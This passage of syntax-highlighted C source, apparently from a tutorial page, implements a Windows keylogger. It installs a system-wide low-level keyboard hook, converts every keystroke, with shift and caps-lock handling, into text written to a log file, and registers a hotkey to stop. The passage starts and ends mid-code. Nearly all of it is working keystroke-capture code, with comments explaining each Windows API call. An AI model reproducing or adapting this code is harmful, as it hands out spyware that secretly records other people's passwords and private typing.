                    <span style="color: #b1b100;">case</span> <span style="color: #208080;">0x34</span><span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;$&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>   
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> <span style="color: #208080;">0x35</span><span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> <span style="color: #208080;">0x36</span><span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;^&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> <span style="color: #208080;">0x37</span><span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;&amp;&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> <span style="color: #208080;">0x38</span><span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;*&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> <span style="color: #208080;">0x39</span><span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;(&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #009900;">&#125;</span>
                <span style="color: #009900;">&#125;</span>
                <span style="color: #b1b100;">else</span> <span style="color: #666666; font-style: italic;">// If shift key is not down</span>
                <span style="color: #009900;">&#123;</span>
                   sprintf<span style="color: #009900;">&#40;</span>val<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;%c&quot;</span><span style="color: #339933;">,</span>vkCode<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                   fputs<span style="color: #009900;">&#40;</span>val<span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
                <span style="color: #009900;">&#125;</span>
            <span style="color: #009900;">&#125;</span>
            <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>vkCode<span style="color: #339933;">&gt;</span><span style="color: #0000dd;">64</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span>vkCode<span style="color: #339933;">&lt;</span><span style="color: #0000dd;">91</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">// Keys a-z</span>
            <span style="color: #009900;">&#123;</span>
                <span style="color: #808080; font-style: italic;">/*
                The following is a complicated statement to check if the letters need to be switched to lowercase.
                Here is an explanation of why the exclusive or (XOR) must be used.
&nbsp;
                Shift   Caps    LowerCase    UpperCase
                T       T       T            F
                T       F       F            T
                F       T       F            T
                F       F       T            F
&nbsp;
                The above truth table shows what case letters are typed in,
                based on the state of the shift and caps lock key combinations.
&nbsp;
                The UpperCase column is the same result as a logical XOR.
                However, since we're checking the opposite in the following if statement, we'll also include a NOT operator (!)
                Becuase, NOT(XOR) would give us the LowerCase column results.
&nbsp;
                There's your lesson in logic if you didn't understand the next statement. Hopefully that helped.
&nbsp;
                --Dan
                */</span>
                <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #009900;">&#40;</span>GetAsyncKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #339933;">^</span>isCapsLock<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">// Check if letters should be lowercase</span>
                <span style="color: #009900;">&#123;</span>
                    vkCode<span style="color: #339933;">+=</span><span style="color: #0000dd;">32</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// Un-capitalize letters</span>
                <span style="color: #009900;">&#125;</span>
                sprintf<span style="color: #009900;">&#40;</span>val<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;%c&quot;</span><span style="color: #339933;">,</span>vkCode<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                fputs<span style="color: #009900;">&#40;</span>val<span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
            <span style="color: #009900;">&#125;</span>
            <span style="color: #b1b100;">else</span>
            <span style="color: #009900;">&#123;</span>
                <span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span>vkCode<span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">// Check for other keys</span>
                <span style="color: #009900;">&#123;</span>
                    <span style="color: #b1b100;">case</span> VK_SPACE<span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot; &quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_LCONTROL<span style="color: #339933;">:</span>
                    <span style="color: #b1b100;">case</span> VK_RCONTROL<span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[Ctrl]&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_LMENU<span style="color: #339933;">:</span>
                    <span style="color: #b1b100;">case</span> VK_RMENU<span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[Alt]&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_INSERT<span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[Insert]&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_DELETE<span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[Del]&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_NUMPAD0<span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;0&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_NUMPAD1<span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;1&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_NUMPAD2<span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;2&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_NUMPAD3<span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;3&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_NUMPAD4<span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;4&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_NUMPAD5<span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;5&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_NUMPAD6<span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;6&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_NUMPAD7<span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;7&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_NUMPAD8<span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;8&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_NUMPAD9<span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;9&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_OEM_2<span style="color: #339933;">:</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>GetAsyncKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                             fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;?&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">else</span>
                             fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;/&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_OEM_3<span style="color: #339933;">:</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>GetAsyncKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                             fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;~&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">else</span>
                             fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;`&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_OEM_4<span style="color: #339933;">:</span>
                         <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>GetAsyncKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;{&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #b1b100;">else</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_OEM_5<span style="color: #339933;">:</span>
                         <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>GetAsyncKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;|&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #b1b100;">else</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\\</span>&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_OEM_6<span style="color: #339933;">:</span>
                         <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>GetAsyncKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;}&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #b1b100;">else</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;]&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_OEM_7<span style="color: #339933;">:</span>
                         <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>GetAsyncKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\\</span>&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #b1b100;">else</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;'&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> VK_LSHIFT<span style="color: #339933;">:</span>
                    <span style="color: #b1b100;">case</span> VK_RSHIFT<span style="color: #339933;">:</span>
                        <span style="color: #666666; font-style: italic;">// do nothing;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> <span style="color: #208080;">0xBC</span><span style="color: #339933;">:</span>                <span style="color: #666666; font-style: italic;">//comma       </span>
                         <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>GetAsyncKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;&lt;&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #b1b100;">else</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;,&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> <span style="color: #208080;">0xBE</span><span style="color: #339933;">:</span>              <span style="color: #666666; font-style: italic;">//Period</span>
                         <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>GetAsyncKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;&gt;&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #b1b100;">else</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;.&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> <span style="color: #208080;">0xBA</span><span style="color: #339933;">:</span>              <span style="color: #666666; font-style: italic;">//Semi Colon same as VK_OEM_1</span>
                         <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>GetAsyncKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;:&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #b1b100;">else</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;;&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> <span style="color: #208080;">0xBD</span><span style="color: #339933;">:</span>              <span style="color: #666666; font-style: italic;">//Minus</span>
                         <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>GetAsyncKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;_&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #b1b100;">else</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;-&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> <span style="color: #208080;">0xBB</span><span style="color: #339933;">:</span>              <span style="color: #666666; font-style: italic;">//Equal</span>
                         <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>GetAsyncKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;+&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #b1b100;">else</span>
                            fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;=&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">default</span><span style="color: #339933;">:</span> 
&nbsp;
                        <span style="color: #808080; font-style: italic;">/* For More details refer this link http://msdn.microsoft.com/en-us/library/ms646267            
                           As mentioned in document of GetKeyNameText http://msdn.microsoft.com/en-us/library/ms646300
                		   Scon code is present in 16..23 bits therefor I shifted the code to correct position
                           Same for Extended key flag 		
                		*/</span>
                        dwMsg <span style="color: #339933;">+=</span> pKeyBoard<span style="color: #339933;">-&gt;</span>scanCode <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">16</span><span style="color: #339933;">;</span>
                        dwMsg <span style="color: #339933;">+=</span> pKeyBoard<span style="color: #339933;">-&gt;</span>flags <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">24</span><span style="color: #339933;">;</span>
&nbsp;
                        <span style="color: #993333;">char</span> key<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">16</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
                        <span style="color: #808080; font-style: italic;">/* Retrieves a string that represents the name of a key. 
                		   1st Parameter dwMsg contains the scan code and Extended flag
                		   2nd Parameter lpString: lpszName - The buffer that will receive the key name. 
                           3rd Parameter cchSize: The maximum length, in characters, of the key name, including the terminating null character
                           If the function succeeds, a null-terminated string is copied into the specified buffer,
                           and the return value is the length of the string, in characters, not counting the terminating null character.
                           If the function fails, the return value is zero.  
                	    */</span>
                        GetKeyNameText<span style="color: #009900;">&#40;</span>dwMsg<span style="color: #339933;">,</span>key<span style="color: #339933;">,</span><span style="color: #0000dd;">15</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        fputs<span style="color: #009900;">&#40;</span>key<span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>            
                <span style="color: #009900;">&#125;</span>
            <span style="color: #009900;">&#125;</span>
        <span style="color: #009900;">&#125;</span>
        <span style="color: #b1b100;">default</span><span style="color: #339933;">:</span>
&nbsp;
            fclose<span style="color: #009900;">&#40;</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #808080; font-style: italic;">/* Passes the hook information to the next hook procedure in the current hook chain.
                 1st Parameter hhk - Optional
                 2nd Parameter nCode - The next hook procedure uses this code to determine how to process the hook information.
                 3rd Parameter wParam - The wParam value passed to the current hook procedure.
                 4th Parameter lParam - The lParam value passed to the current hook procedure
            */</span>
            <span style="color: #b1b100;">return</span> CallNextHookEx<span style="color: #009900;">&#40;</span> NULL<span style="color: #339933;">,</span> nCode<span style="color: #339933;">,</span> wParam<span style="color: #339933;">,</span> lParam <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
     fclose<span style="color: #009900;">&#40;</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>    
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Function called by main function to install hook</span>
DWORD WINAPI KeyLogger<span style="color: #009900;">&#40;</span>LPVOID lpParameter<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
&nbsp;
    HHOOK hKeyHook<span style="color: #339933;">;</span>  
    <span style="color: #808080; font-style: italic;">/* Retrieves a module handle for the specified module. 
	   parameter is NULL, GetModuleHandle returns a handle to the file used to create the calling process (.exe file).
	   If the function succeeds, the return value is a handle to the specified module.
       If the function fails, the return value is NULL. 
    */</span>
    HINSTANCE hExe <span style="color: #339933;">=</span> GetModuleHandle<span style="color: #009900;">&#40;</span>NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>hExe <span style="color: #339933;">==</span> NULL<span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
       <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>           
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">else</span>
    <span style="color: #009900;">&#123;</span>
        <span style="color: #808080; font-style: italic;">/*Installs an application-defined hook procedure into a hook chain
          1st Parameter idHook: WH_KEYBOARD_LL - The type of hook procedure to be installed
          Installs a hook procedure that monitors low-level keyboard input events. 
          2nd Parameter lpfn: LowLevelKeyboardProc - A pointer to the hook procedure.
          3rd Parameter hMod: hExe - A handle to the DLL containing the hook procedure pointed to by the lpfn parameter.
          4th Parameter dwThreadId: 0 - the hook procedure is associated with all existing threads running
          If the function succeeds, the return value is the handle to the hook procedure.
          If the function fails, the return value is NULL.
        */</span>
         hKeyHook <span style="color: #339933;">=</span> SetWindowsHookEx<span style="color: #009900;">&#40;</span>WH_KEYBOARD_LL<span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span>HOOKPROC<span style="color: #009900;">&#41;</span>LowLevelKeyboardProc<span style="color: #339933;">,</span> hExe<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
         <span style="color: #808080; font-style: italic;">/*Defines a system-wide hot key of alt+ctrl+9
           1st Parameter hWnd(optional) :NULL - A handle to the window that will receive hot key message generated by hot key.
           2nd Parameter id:1 - The identifier of the hot key
           3rd Parameter fsModifiers: MOD_ALT | MOD_CONTROL -  The keys that must be pressed in combination with the key
           specified by the uVirtKey parameter in order to generate the WM_HOTKEY message. 
           4th Parameter vk: 0x39(9) - The virtual-key code of the hot key
         */</span>
         RegisterHotKey<span style="color: #009900;">&#40;</span>NULL<span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> MOD_ALT <span style="color: #339933;">|</span> MOD_CONTROL<span style="color: #339933;">,</span> <span style="color: #208080;">0x39</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
         MSG msg<span style="color: #339933;">;</span> 
         <span style="color: #666666; font-style: italic;">// Message loop retrieves messages from the thread's message queue and dispatches them to the appropriate window procedures. </span>
         <span style="color: #666666; font-style: italic;">// For more info http://msdn.microsoft.com/en-us/library/ms644928%28v=VS.85%29.aspx#creating_loop</span>
         <span style="color: #666666; font-style: italic;">//Retrieves a message from the calling thread's message queue.</span>
         <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>GetMessage<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>msg<span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
         <span style="color: #009900;">&#123;</span>
               <span style="color: #666666; font-style: italic;">// if Hot key combination is pressed then exit</span>
               <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>msg.<span style="color: #202020;">message</span> <span style="color: #339933;">==</span> WM_HOTKEY<span style="color: #009900;">&#41;</span>
               <span style="color: #009900;">&#123;</span>
                  UnhookWindowsHookEx<span style="color: #009900;">&#40;</span>hKeyHook<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>                
                  <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
               <span style="color: #009900;">&#125;</span>
               <span style="color: #666666; font-style: italic;">//Translates virtual-key messages into character messages. </span>
               TranslateMessage<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>msg<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
               <span style="color: #666666; font-style: italic;">//Dispatches a message to a window procedure.</span>
               DispatchMessage<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>msg<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>       
         <span style="color: #009900;">&#125;</span>
&nbsp;
         <span style="color: #808080; font-style: italic;">/* To free system resources associated with the hook and removes a hook procedure installed in a hook chain
           Parameter hhk: hKeyHook - A handle to the hook to be removed. 
         */</span>
	     UnhookWindowsHookEx<span style="color: #009900;">&#40;</span>hKeyHook<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>       
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> StartKeyLogging<span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span><span style="color: #339933;">*</span> argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    HANDLE hThread<span style="color: #339933;">;</span>
	DWORD dwThread<span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;">/* CreateThread function Creates a thread to execute within the virtual address space of the calling process.
       1st Parameter lpThreadAttributes:  NULL - Thread gets a default security descriptor.
       2nd Parameter dwStackSize:  0  - The new thread uses the default size for the executable.
       3rd Parameter lpStartAddress:  KeyLogger - A pointer to the application-defined function to be executed by the thread
